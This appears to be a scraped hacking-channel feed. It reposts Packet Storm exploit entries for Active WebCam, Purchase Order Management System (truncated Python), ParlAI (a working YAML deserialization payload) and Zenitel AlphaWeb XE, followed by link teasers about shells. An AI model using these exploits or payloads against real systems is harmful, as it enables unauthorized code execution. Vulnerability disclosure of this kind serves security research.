Exploit CollectorActive WebCam 11.5 Unquoted Service Path


Active WebCam version 11.5 suffers from an unquoted service path vulnerability.

MD5 | 5dc078c896a32ec84df175f58fb44734

Download



# Exploit Title: Active WebCam 11.5 - Unquoted Service Path
# Exploit Author: Salman Asad (@deathflash1411, salman@defmax.io)
# Date: 09.09.2021
# Software Link: https://www.techspot.com/downloads/175-active-webcam.html
# Vendor Homepage: https://www.pysoft.com/
# Version: 11.5
# Tested on: Windows 10

# Note: "Start on Windows Startup" with "Start as Service" must be enabled in Program Options

# Proof of Concept:

C:\Users\death>sc qc ACTIVEWEBCAM
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: ACTIVEWEBCAM
TYPE : 110 WIN32_OWN_PROCESS (interactive)
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\Active WebCam\WebCam.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Active WebCam
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

C:\Users\death>cmd /c wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
Active WebCam ACTIVEWEBCAM C:\Program Files\Active WebCam\WebCam.exe Auto



Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Purchase Order Management System 1.0 Shell Upload


https://2.bp.blogspot.com/-byy861XuXi0/WWlvWQTmcNI/AAAAAAAAIOI/mFealIoTV44qfFUu4oCqUAhEFYGzd1o3ACLcBGAs/s1600/h49.png
Purchase Order Management System version 1.0 suffers from a remote shell upload vulnerability.

MD5 | f35dbf962e11f319a7ed3f52f0e7edfa

Download
# Exploit Title: Purchase Order Management System 1.0 - Remote File Upload
# Date: 2021-09-14
# Exploit Author: Aryan Chehreghani
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/14935/purchase-order-management-system-using-php-free-source-code.html
# Version: v1.0
# Tested on: Windows 10 - XAMPP Server

# [ About the Purchase Order Management System ] :
#This Purchase Order Management System can store the list of all company's,
#suppliers for easily retrieving the suppliers' data upon generating the purchase order.
#It also stores the list of Items that the company possibly purchased from their suppliers.
#Both the mentioned features have CRUD (Create, Read, Update, and Delete) operations.
#Talking about generating the Purchase Order, the system can generate a printable Purchase Order Slip/Request.

#!/bin/env python3
import requests
import time
import sys
from colorama import Fore, Style
if len(sys.argv) !=2:
print ('''
###########################################################
#Purchase Order Management System 1.0 - Remote File Upload#
# BY:Aryan Chehreghani #
# Team:TAPESH DIGITAL SECURITY TEAM IRAN #
# mail:aryanchehreghani@yahoo.com #
# -+-USE:python script.py [...]

___________________________
@hacking_Attack
@Hacking_Video

Exploit CollectorFacebook ParlAI 1.0.0 Code Execution / Deserialization


Facebook ParlAI version 1.0.0 suffers from a deserialization vulnerability that can allow for code execution.

MD5 | 1cb8116b6d8d649d3910c62fb8866a74

Download



# Exploit Title: Facebook ParlAI 1.0.0 - Deserialization of Untrusted Data in parlai
# Date: 2021-09-11
# Exploit Author: Abhiram V
# Vendor Homepage: https://parl.ai/
# Software Link: https://github.com/facebookresearch/ParlAI
# Version: < 1.1.0
# Tested on: Linux
# CVE: CVE-2021-24040
# References :
# https://github.com/facebookresearch/ParlAI/security/advisories/GHSA-m87f-9fvv-2mgg
# | https://anon-artist.github.io/blogs/blog3.html |

############################################################################

Introduction
ParlAI (pronounced “par-lay”) is a free, open-source python framework for
sharing, training and evaluating AI models on a variety of openly available
dialogue datasets.

############################################################################

Vulnerability details

############################################################################

Description
ParlAI was vulnerable to YAML deserialization attack caused by unsafe
loading which leads to Arbitrary Code Execution.

Proof of Concept

Create the following PoC file (exploit.py)

import os
#os.system('pip3 install parlai')
from parlai.chat_service.utils import config
exploit = """!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('xcalc')"
"""
open('config.yml','w+').write(exploit)
config.parse_configuration_file('config.yml')

Execute the python script ie, python3 exploit.py

Impact
Code Execution

############################################################################





Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit CollectorZenitel AlphaCom XE Audio Server 11.2.3.10 Shell Upload


Zenitel AlphaCom XE Audio Server versions up to 11.2.3.10 have a web interface called AlphaWeb XE that allows for a remote shell upload.

MD5 | 6b53ff27b2a4d835007b117376d0f7c0

Download




I. VULNERABILITY
-------------------------
AlphaWeb XE - Authenticated Insecure File Upload leading to RCE


II. CVE REFERENCE
-------------------------
CVE-2021-40845


III. VENDOR
-------------------------
https://www.zenitel.com/


IV. DESCRIPTION
-------------------------

The web part of Zenitel AlphaCom XE Audio Server through 11.2.3.10, called AlphaWeb XE, does not restrict file upload in the Custom Scripts section at php/index.php. Neither the content nor extension of the uploaded files is checked, allowing execution of PHP code under the /cmd directory.

To exploit this vulnerability, someone must authenticate in the server and access the "Scripts" button in the "Custom scripts" tab.

![img1](https://github.com/ricardojoserf/ricardojoserf.github.io/blob/master/images/alphaweb-rce/image1.png?raw=true)

Then, the button "Choose file" is clicked and the file is uploaded clicking "Upload".

![img3](https://github.com/ricardojoserf/ricardojoserf.github.io/blob/master/images/alphaweb-rce/image3.png?raw=true)

The PHP test file is a simple one-line reverse shell:

![img2](https://github.com/ricardojoserf/ricardojoserf.github.io/blob/master/images/alphaweb-rce/image2.png?raw=true)

The new file, with the same name, extension and content is listed in the Scripts page:

![img4](https://github.com/ricardojoserf/ricardojoserf.github.io/blob/master/images/alphaweb-rce/image4.png?raw=true)

The path of these files is /cmd/$FILE$. Knowing the path, as there is not any restriction the file upload functionality, uploading a PHP reverse shell or cmdshell allows to get Remote Code Execution in the server:

![img5](https://github.com/ricardojoserf/ricardojoserf.github.io/blob/master/images/alphaweb-rce/image5.png?raw=true)


V. REFERENCES
-------------------------
https://wiki.zenitel.com/wiki/AlphaWeb
https://wiki.zenitel.com/wiki/AlphaWeb_Custom_Scripts
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40845


VI. CREDIT
-------------------------
Ricardo José Ruiz Fernández (@ricardojoserf)



Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Accessing Grofers Grafana Instance Using Shodan

Hello People….
Read more...

Bypass Server Upload Restrictions

How to Get a Shell on a Website using a File TutorialContinue reading on InfoSec Write-ups »
Read more...

Is there a good (native) decoder tool?
https://www.reddit.com/r/Pentesting/comments/po6wsu/is_there_a_good_native_decoder_tool/

Hello there, does anyone of you know any good decoder tools (URI component, base64, etc.) for Windows and/or Kali? Tools with GUIs preferred but I'm fine working with CLI. Currently, I'm working most of the with the decoder tools of Burp and the Penetration Testing Toolkit extension for Chromium-base browsers, but as they are not really sophisticated I was wondering if you guys know any alternative? Actually, I do not want to use web application decoders (at least not the ones I know, i.e., CyberChef), but I'm open for suggestions. Best regards
winklerrr submitted by /u/winklerrr (https://www.reddit.com/user/winklerrr)
[link] (https://www.reddit.com/r/Pentesting/comments/po6wsu/is_there_a_good_native_decoder_tool/) [comments] (https://www.reddit.com/r/Pentesting/comments/po6wsu/is_there_a_good_native_decoder_tool/)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Join us in the path of learning or just having fun

Hi everyone,

​

Are looking for a group to join or to challenge people(like in king of the hill)?

We have a Discord where you can join us for CTFs at : http://n00bsctfs.team/

It has remained a small team but we're looking to make it grow in order to have more people available. Any age is welcome and you must respect the rules !

(We will update the website eventually lol)

We have people on different levels and new comers are always welcome. We are on HTB and THM..maybe others

submitted by /u/alexsuavex3
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

https://a.thumbs.redditmedia.com/yCwaPgDTrD172WHB2fOtn1ENwOtcH9kGOaHamezt_c8.jpg Hey, folks, I'm involved for a long time in the hacker scene, making designs and shirts for CONs.I just made a hackers wear shop. I'm just getting started, many more to come. Do you like it?

https://preview.redd.it/lli2hmwexhn71.jpg?width=1000&format=pjpg&auto=webp&s=5757aca2d116d6eec6612a85f48ab7664200e54d

submitted by /u/_www_
[link] [comments]

hacking: security in practice
Kali Linux 2021.3 Released

submitted by /u/wise_quote
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
O que é um vazamento de dados, e como mitigar os danos?


O que você precisa saber, caso seus dados sejam vazados na internet

Continue reading on Medium »

Hacking on Medium
Update Now: Apple Patches iOS, Mac Attack That Uses Malicious PDFs to Hack Devices


The bug, dubbed ForcedEntry, could lead to remote code execution. Apple also patches an iOS flaw that leverages maliciously crafted web…

Continue reading on PC Magazine »

Hacking on Medium
New Neovim Plugins You Should Try


Neovim plugins to try out for better development workflow.

Continue reading on Medium »

Hacking on Medium
CVE-2021–40444 — Metasploit Reverse Shell using a malicious .dll payload

Probably you already know about the CVE-2021–40444 (Microsoft Office Word Remote Code Execution). Attackers abused it to exploit and…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video